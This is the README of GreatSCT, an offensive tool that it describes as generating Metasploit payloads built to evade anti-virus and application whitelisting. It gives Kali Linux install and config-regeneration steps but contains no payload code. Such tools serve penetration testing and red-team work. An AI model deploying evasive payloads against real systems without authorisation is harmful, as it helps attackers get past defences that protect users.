GreatSCT is a tool designed to generate metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions.

GreatSCT is current under support by @ConsciousHacker

Software Requirements:

Linux

1. Kali - run the setup script - sudo ./setup.sh -c

NOTE: Support for distributions other than Kali Linux will be coming soon.

Setup (tl;dr)

NOTE: Installation must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Run ./setup.sh -c on Linux.

Install by cloning from git, not via apt!

Quick Install

apt-get -y install git
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/
cd setup
sudo ./setup.sh -c

Regenerating Config

NOTE: This must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Most of the time the config file at /etc/greatsct/settings.py will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by config/update.py.

It is important that you are in the config/ directory before executing update.py. If you are not, settings.py will be incorrect and when you launch GreatSCT you will see the following.

    Main Menu

            0 payloads loaded

Don't panic. Enter the config/ dir and re-run update.py.
